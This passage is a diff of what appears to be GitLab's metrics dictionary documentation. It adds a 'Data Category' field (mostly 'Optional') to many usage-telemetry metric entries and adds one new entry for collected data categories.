@@ -14106,6 +16632,8 @@ Count of WAU using the `/remove_zoom` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14118,6 +16646,8 @@ Count of MAU using the `/reopen` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14130,6 +16660,8 @@ Count of WAU using the `/reopen` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14142,6 +16674,8 @@ Count of MAU using the `/shrug` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14154,6 +16688,8 @@ Count of WAU using the `/shrug` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14166,6 +16702,8 @@ Count of MAU using the `/spend` quick action to add time spent
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14178,6 +16716,8 @@ Count of WAU using the `/spend` quick action to add time spent
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14190,6 +16730,8 @@ Count of MAU using the `/spend` quick action to subtract time spent
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14202,6 +16744,8 @@ Count of WAU using the `/spend` quick action to subtract time spent
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14214,6 +16758,8 @@ Count of MAU using the `/submit_review` quick action on Merge Requests
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14226,6 +16772,8 @@ Count of WAU using the `/submit_review` quick action on Merge Requests
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14238,6 +16786,8 @@ Count of MAU using the `/subscribe` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14250,6 +16800,8 @@ Count of WAU using the `/subscribe` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14262,6 +16814,8 @@ Count of MAU using the `/tableflip` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14274,6 +16828,8 @@ Count of WAU using the `/tableflip` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14286,6 +16842,8 @@ Count of MAU using the `/tag` quick action
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14298,6 +16856,8 @@ Count of WAU using the `/tag` quick action
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14310,6 +16870,8 @@ Count of MAU using the `/target_branch` quick action on Merge Requests
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14322,6 +16884,8 @@ Count of WAU using the `/target_branch` quick action on Merge Requests
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14334,6 +16898,8 @@ Count of MAU using the `/title` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14346,6 +16912,8 @@ Count of WAU using the `/title` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14358,6 +16926,8 @@ Count of MAU using the `/todo` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14370,6 +16940,8 @@ Count of WAU using the `/todo` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14382,6 +16954,8 @@ Count of MAU using the `/unassign` quick action on Merge Requests
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14394,6 +16968,8 @@ Count of WAU using the `/unassign` quick action on Merge Requests
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14406,6 +16982,8 @@ Count of MAU using the `/unassign_reviewer` or `/remove_reviewer` quick action o
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14418,6 +16996,8 @@ Count of WAU using the `/unassign_reviewer` or `/remove_reviewer` quick action o
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14430,6 +17010,8 @@ Count of MAU using the `/unassign @user1` quick action on Merge Requests
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14442,6 +17024,8 @@ Count of WAU using the `/unassign @user1` quick action on Merge Requests
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14454,6 +17038,8 @@ Count of MAU using the `/unlabel` quick action to remove all labels
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14466,6 +17052,8 @@ Count of WAU using the `/unlabel` quick action to remove all labels
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14478,6 +17066,8 @@ Count of MAU using the `/unlabel` or `/remove_label` quick action to remove one
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14490,6 +17080,8 @@ Count of WAU using the `/unlabel` or `/remove_label` quick action to remove one
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14502,6 +17094,8 @@ Count of MAU using the `/unlock` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14514,6 +17108,8 @@ Count of WAU using the `/unlock` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14526,6 +17122,8 @@ Count of MAU using the `/unsubscribe` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14538,6 +17136,8 @@ Count of WAU using the `/unsubscribe` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14550,6 +17150,8 @@ Count of MAU using the `/weight` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -14562,6 +17164,8 @@ Count of WAU using the `/weight` quick action
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -14574,6 +17178,8 @@ Count of MAU using the `/wip` quick action on Merge Requests
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14586,6 +17192,8 @@ Count of WAU using the `/wip` quick action on Merge Requests
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14598,6 +17206,8 @@ Count of MAU using the `/zoom` quick action on Issues
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14610,6 +17220,8 @@ Count of WAU using the `/zoom` quick action on Issues
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14622,6 +17234,8 @@ Count of MAU using one or more quick actions
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14634,6 +17248,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -14646,6 +17262,8 @@ Calculated unique users to perform Advanced searches by month
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -14658,6 +17276,8 @@ Calculated unique users to perform Advanced searches by week
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -14670,6 +17290,8 @@ Calculated unique users to perform a search with a paid license enabled by month
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -14682,6 +17304,8 @@ Calculated unique users to perform a search with a paid license enabled by week
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -14694,6 +17318,8 @@ Calculated unique users to perform Basic or Advanced searches by month
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14706,6 +17332,8 @@ Calculated unique users to perform Basic or Advanced searches by week
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14718,6 +17346,8 @@ Total unique users for i_search_total, i_search_advanced, i_search_paid for rece
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14730,6 +17360,8 @@ Calculated unique users to perform Basic or Advanced searches by week
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14742,6 +17374,8 @@ Count of expanding the security report widget
Group: `group::static analysis`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14754,6 +17388,8 @@ Count of expanding the security report widget
Group: `group::static analysis`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14766,6 +17402,8 @@ Monthly number of users viewing snippets
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14778,6 +17416,8 @@ Weekly number of users viewing snippets
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14790,6 +17430,8 @@ Count of total design actions (upload, delete, comment, reply)
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14802,6 +17444,8 @@ Count of total design actions (upload, delete, comment, reply)
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14814,6 +17458,8 @@ Count of unique Git write actions
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14826,6 +17472,8 @@ Count of unique Git write actions
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14838,6 +17486,8 @@ Count of unique users who use code intelligence
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14850,6 +17500,8 @@ Count of unique users who use code intelligence
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14862,6 +17514,8 @@ Count of unique users who perform an action on a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14874,6 +17528,8 @@ Count of unique users who perform an action on a merge request
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14886,6 +17542,8 @@ Count of unique actions done on projects and related resources (create, edit, de
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14898,6 +17556,8 @@ Count of unique actions done on projects and related resources (create, edit, de
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14910,6 +17570,8 @@ Count of unique actions done on a wiki (create, edit, delete)
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14922,6 +17584,8 @@ Count of unique actions done on a wiki (create, edit, delete)
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14934,6 +17598,8 @@ Monthly active users of GitLab Managed Terraform states
Group: `group::configure`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14946,6 +17612,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -14958,6 +17626,8 @@ Count of unique users per week|month who visit the full code quality report
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -14970,6 +17640,8 @@ Count of unique users per week who visit the full code quality report
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -14982,6 +17654,8 @@ Aggregated count of unique users who have clicked from group code coverage page
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -14994,6 +17668,8 @@ Aggregated count of unique users who have clicked from group code coverage page
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15006,6 +17682,8 @@ Count of unique users per month who visited the group code coverage page
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15018,6 +17696,8 @@ Count of unique users per week who visited the group code coverage page
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15030,6 +17710,8 @@ Count of unique users per month who expanded the load performance report MR widg
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15042,6 +17724,8 @@ Count of unique users per week who expanded the load performance report MR widge
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15054,6 +17738,8 @@ Tracks number of metrics reports uploaded monthly.
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15066,6 +17752,8 @@ Count of unique users per week who trigger a pipeline that uploads a metrics rep
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15078,6 +17766,8 @@ Count of unique users per month who expanded the metrics report MR widget
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15090,6 +17780,8 @@ Count of unique users per week who expanded the metrics report MR widget
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15102,6 +17794,8 @@ Unique users that expand the test summary merge request widget by month
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15114,6 +17808,8 @@ Unique users that expand the test summary merge request widget by week
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15126,6 +17822,8 @@ Internal Tracking to count number of unit tests parsed for planning of future co
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15138,6 +17836,8 @@ Internal Tracking to count number of unit tests parsed for planning of future co
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15150,6 +17850,8 @@ Count of unique users per month who expanded the browser performance report MR w
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15162,6 +17864,8 @@ Count of unique users per week who expanded the browser performance report MR wi
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15174,6 +17878,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`
@@ -15186,6 +17892,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `removed`
Tiers: `premium`, `ultimate`
@@ -15198,6 +17906,8 @@ Count of expanding the accessibility report widget
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15210,6 +17920,8 @@ Count of expanding the accessibility report widget
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15222,6 +17934,8 @@ Count of expanding the code quality widget
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15234,6 +17948,8 @@ Count of expanding the code quality widget
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15246,6 +17962,8 @@ A monthly count of users that have published a Composer package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15258,6 +17976,8 @@ A weekly count of users that have published a Composer package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15270,6 +17990,8 @@ A monthly count of users that have published a Conan package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15282,6 +18004,8 @@ A weekly count of users that have published a Conan package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15294,6 +18018,8 @@ A monthly count of users that have published a container image to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -15306,6 +18032,8 @@ A weekly count of users that have published a container image to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -15318,6 +18046,8 @@ A monthly count of users that have published a Debian package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -15330,6 +18060,8 @@ A weekly count of users that have published a Debian package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -15342,6 +18074,8 @@ A monthly count of users that have published a generic package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `broken`
Tiers: `free`, `premium`, `ultimate`
@@ -15354,6 +18088,8 @@ A weekly count of users that have published a generic package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `broken`
Tiers: `free`, `premium`, `ultimate`
@@ -15366,6 +18102,8 @@ A monthly count of users that have published a Go moduleto the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -15378,6 +18116,8 @@ A weekly count of users that have published a Go module to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -15390,6 +18130,8 @@ Distinct user count events for Helm packages in recent 28 days
Group: `group::package`
+Data Category: `Optional`
+
Status: `implemented`
Tiers: `free`, `premium`, `ultimate`
@@ -15402,6 +18144,8 @@ Distinct user count events for Helm packages in recent 7 days
Group: `group::package`
+Data Category: `Optional`
+
Status: `implemented`
Tiers: `free`, `premium`, `ultimate`
@@ -15414,6 +18158,8 @@ A monthly count of users that have published a Maven package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15426,6 +18172,8 @@ A weekly count of users that have published a Maven package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15438,6 +18186,8 @@ A monthly count of users that have published an npm package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15450,6 +18200,8 @@ A weekly count of users that have published an npm package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15462,6 +18214,8 @@ A monthly count of users that have published a NuGet package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15474,6 +18228,8 @@ A weekly count of users that have published a NuGet package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15486,6 +18242,8 @@ A monthly count of users that have published a PyPI package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15498,6 +18256,8 @@ A weekly count of users that have published a Python package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15510,6 +18270,8 @@ Distinct user count of RubyGems packages published in recent 28 days
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15522,6 +18284,8 @@ A weekly count of distinct RubyGems packages published by a user
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15534,6 +18298,8 @@ A monthly count of users that have published a package tag to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -15546,6 +18312,8 @@ A weekly count of users that have published a package with a tag to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`, `premium`, `ultimate`
@@ -15558,6 +18326,8 @@ Number of distinct users creating Terraform Module packages in recent 28 days
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15570,6 +18340,8 @@ Number of distinct users creating Terraform Module packages in recent 7 days
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15582,6 +18354,8 @@ A monthly count of users that have published a package to the registry
Group: `group::package`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15594,6 +18368,8 @@ A weekly count of users that have published a package to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15606,6 +18382,8 @@ Whether incoming email is setup
Group: `group::certify`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15618,6 +18396,8 @@ Calculated unique users to perform Advanced searches by week
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15630,6 +18410,8 @@ Calculated unique users to perform a search with a paid license enabled by week
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15642,6 +18424,8 @@ Calculated unique users to perform Basic or Advanced searches by week
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15654,6 +18438,8 @@ Total unique users for i_search_total, i_search_advanced, i_search_paid for rece
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15666,10 +18452,28 @@ Total unique users for i_search_total, i_search_advanced, i_search_paid for rece
Group: `group::global search`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `settings.collected_data_categories`
+
+List of collected data categories corresponding to instance settings
+
+[Object JSON schema](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/objects_schemas/collected_data_categories_schema.json)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210702140138_collected_data_categories.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Standard`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
### `settings.gitaly_apdex`
Gitaly application performance
@@ -15678,6 +18482,8 @@ Gitaly application performance
Group: `group::gitaly`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15690,6 +18496,8 @@ Is encrypted LDAP secrets configured?
Group: `group::distribution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15702,6 +18510,8 @@ Information about the operating system running GitLab
Group: `group::distribution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15714,6 +18524,8 @@ Whether public signup is enabled
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15728,6 +18540,8 @@ Topology data
Group: `group::memory`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15740,6 +18554,8 @@ Total GitLab Managed clusters with GitLab Managed App:Cert Manager installed
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15752,6 +18568,8 @@ Total GitLab Managed clusters with GitLab Managed App:Helm enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15764,6 +18582,8 @@ Total GitLab Managed clusters with GitLab Managed App:Ingress installed
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15776,6 +18596,8 @@ Total GitLab Managed clusters with GitLab Managed App:Knative installed
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15788,6 +18610,8 @@ Total GitLab Managed disabled clusters
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15800,6 +18624,8 @@ Total GitLab Managed clusters currently enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15812,6 +18638,8 @@ Total GitLab Managed clusters with defined cluster management project
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15824,6 +18652,8 @@ Total GitLab Managed clusters provisioned with GitLab on AWS EKS
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15836,6 +18666,8 @@ Total GitLab Managed clusters provisioned with GitLab on GCE GKE
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15848,6 +18680,8 @@ Total GitLab Managed clusters that are user provisioned
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15860,6 +18694,8 @@ Total GitLab Managed disabled clusters attached to groups
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15872,6 +18708,8 @@ Total GitLab Managed enabled clusters attached to groups
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15884,6 +18722,8 @@ Total GitLab Managed disabled clusters attached to the instance
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15896,6 +18736,8 @@ Total GitLab Managed enabled clusters attached to the instance
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15908,6 +18750,8 @@ Total GitLab Managed disabled clusters attached to projects
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15920,6 +18764,8 @@ Total GitLab Managed enabled clusters attached to projects
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15932,6 +18778,8 @@ Unique projects with Slack webhook enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -15944,6 +18792,8 @@ Unique projects with Slack ‘/’ commands enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -15956,6 +18806,8 @@ Projects with Prometheus alerting enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -15968,6 +18820,8 @@ Total number of project approval rules
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15980,6 +18834,8 @@ Number of approval rules with the exact number of required approvers.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -15992,6 +18848,8 @@ Number of approval rules with fewer approvers than required.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16004,6 +18862,8 @@ Number of approval rules with more approvers than required.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16016,6 +18876,8 @@ Number of project approval rules scoped to a specific repo branch.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16028,6 +18890,8 @@ Count of users creating deploy keys.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16040,6 +18904,8 @@ Count of users creating regular keys.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16052,6 +18918,8 @@ Count of the number of users creating merge requests
Group: `group::code review`
